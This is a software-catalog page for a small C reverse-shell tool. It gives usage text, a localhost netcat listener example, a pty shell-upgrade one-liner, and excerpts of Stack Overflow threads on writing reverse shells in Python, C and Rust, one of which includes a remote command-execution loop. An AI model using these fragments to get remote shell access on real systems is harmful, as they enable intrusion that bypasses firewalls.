reverse-shell | A simple reverse shell | Security Testing library

by pticon C Version: v1.1.0 License: BSD-3-Clause

X-Ray Key Features Code Snippets(3)Community Discussions(3)Vulnerabilities Install Support

kandi X-RAY | reverse-shell Summary

reverse-shell is a C library typically used in Testing, Security Testing applications. reverse-shell has no bugs, it has no vulnerabilities, it has a Permissive License and it has low support. You can download it from GitHub.

A reverse shell is a network tool that grants shell access to a remote host. As opposed to other remote login tools such as telnet and ssh, a reverse shell is initiated by the remote host. This technique of connecting outbound from the remote network allows for circumvention of firewalls that are configured to block inbound connections only.

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Quality

Security

License

Reuse

Support

reverse-shell has a low active ecosystem.

It has 6 star(s) with 3 fork(s). There are 1 watchers for this library.

It had no major release in the last 12 months.

There are 0 open issues and 1 have been closed. On average issues are closed in 1 days. There are no pull requests.

It has a neutral sentiment in the developer community.

The latest version of reverse-shell is v1.1.0

Quality

reverse-shell has 0 bugs and 0 code smells.

Security

reverse-shell has no vulnerabilities reported, and its dependent libraries have no vulnerabilities reported.

reverse-shell code analysis shows 0 unresolved vulnerabilities.

There are 0 security hotspots that need review.

License

reverse-shell is licensed under the BSD-3-Clause License. This license is Permissive.

Permissive licenses have the least restrictions, and you can use them in most projects.

Reuse

reverse-shell releases are available to install and integrate.

Installation instructions are not available. Examples and code snippets are available.

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reverse-shell Key Features

No Key Features are available at this moment for reverse-shell.

reverse-shell Examples and Code Snippets

reverse-shell,Usage

Lines of Code : 14

License : Permissive (BSD-3-Clause)

Copy

usage: rshell [options]   [peer]
arguments:
        host        : mandatory specific host to bind or connect (could be "any" in listen mode)
        port        : mandatory specific port to bind or connect
        peer        : optional peer address

reverse-shell,Example

Lines of Code : 3

License : Permissive (BSD-3-Clause)

Copy

nc -lp 4445

./rshell -l 127.0.0.1 4445

./rshell 127.0.0.1 4445

reverse-shell,Tip

Lines of Code : 1

License : Permissive (BSD-3-Clause)

Copy

python -c 'import pty; pty.spawn("/bin/bash")'

Community Discussions

Trending Discussions on reverse-shell

Crypto Reverse Shell in Python3 - cd command does not change directory

How can I clean up the popen output of my C program?

How to interact with a reverse shell in Rust?

QUESTION

Crypto Reverse Shell in Python3 - cd command does not change directory

Asked 2021-Jun-27 at 18:12

The crypto server is started on a Kali Linux virtual machine, whereas the client shell is started on a Windows 10 virtual machine.

The reverse shell works. A connection is established and is persisted. I can run all types of commands from the shell such as - ifconfig, dir, ls, systeminfo, netstat, etc. However, the only problem is that I cannot enumerate the virtual machine's directories using the - "cd & cd .." command.

If I type cd from the Linux's shell I don't receive any errors neither the connection is closed. It seems like it executes the command on the Windows machine, but it does not return any response back.

I know that the question has been asked in the past and I have looked through the threads:

1.python3 - cd is not working in reverse shell

2.Reverse Shell Command with Python command gets stuck when trying to change directory

3.Subprocess changing directory

4.Equivalent of shell 'cd' command to change the working directory?

which I did not find helpful

I think I understand the nature of the problem, but I do not know how to address it. If anyone has any idea of what might be causing this behaviour, I would appreciate the help.

This is the crypto client shell

...

ANSWER

Answered 2021-Jun-27 at 18:12

while 1:

    encrypted_command = s.recv(1024)
    ...
    proc     = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    ...
    s.send(encrypted_response)

Source https://stackoverflow.com/questions/68153581

QUESTION

How can I clean up the popen output of my C program?

Asked 2020-Aug-19 at 21:24

I am rewriting a simple reverse-shell program I made in python, now in C.

The program is supposed to be trying to connect to a host(netcat listening on the specified port) and then take the output from nc, sent over a tcp socket, and make a system call using popen() and then send back the terminal output via the socket connection to nc where it is displayed.

When I try sending commands the program returns what I requested, but also some giberish.

Ex.: /Users/jacob/Library/Developer/Xcode/DerivedData/backdoorfbhufkccmceisqaozrfitkmfsvge/Build/Products/Debu@Ԓ`? ??????0d?r?

(Output from nc in terminal, this was a 'pwd' command)

I also seem to have some kind of problem where a buffer isn't cleared? When I use the 'say' command(say [sentence] ) MacOS is supposed to use voice the sentence. This happens, but only the 2 first letters of the argument after 'say'(the 2 first characters of the sentence) and then says an earlier string. ('Successfully connected!')

Ex.: (command: 'say hello')

heSuccessfully connected!

I have tried to open the FILE stream in different places and

Code (after socket setup and connection):

...

ANSWER

Answered 2020-Aug-19 at 21:01

I think your main issue is here:

Source https://stackoverflow.com/questions/63494705

QUESTION

How to interact with a reverse shell in Rust?

Asked 2020-Apr-23 at 05:48

OpenBSD's Netcat implementation listens on a port with unix_bind()... basically the same behavior as Rust's TcpListener::bind(). Where I got lost in writing my listen function (emulating nc -l -p ) is how to interact with reverse shells.

As seemingly trivial as it sounds, I want listen to give me the sh-3.2$ prompt like nc -l -p does. All the Netcat-Rust implementations I dug up online don't allow me to interact with reverse shells like that.

Reverse shell code (Machine 1): (adapted from this question I asked years ago)

...

ANSWER

Answered 2020-Apr-23 at 05:48

Basically, we want to have two bi-directional redirections - one from stdin to the stream, and the other from stream to stdout.

We can accomplish this using the generic pipe_thread function below, which creates a dedicated OS thread for this (can be done more efficiently, but we want simplicity). In listen, we spawn two threads like this, and wait for them to terminate.

Source https://stackoverflow.com/questions/61297668

Community Discussions, Code Snippets contain sources that include Stack Exchange Network

Vulnerabilities

No vulnerabilities reported

Install reverse-shell

You can download it from GitHub.

Support

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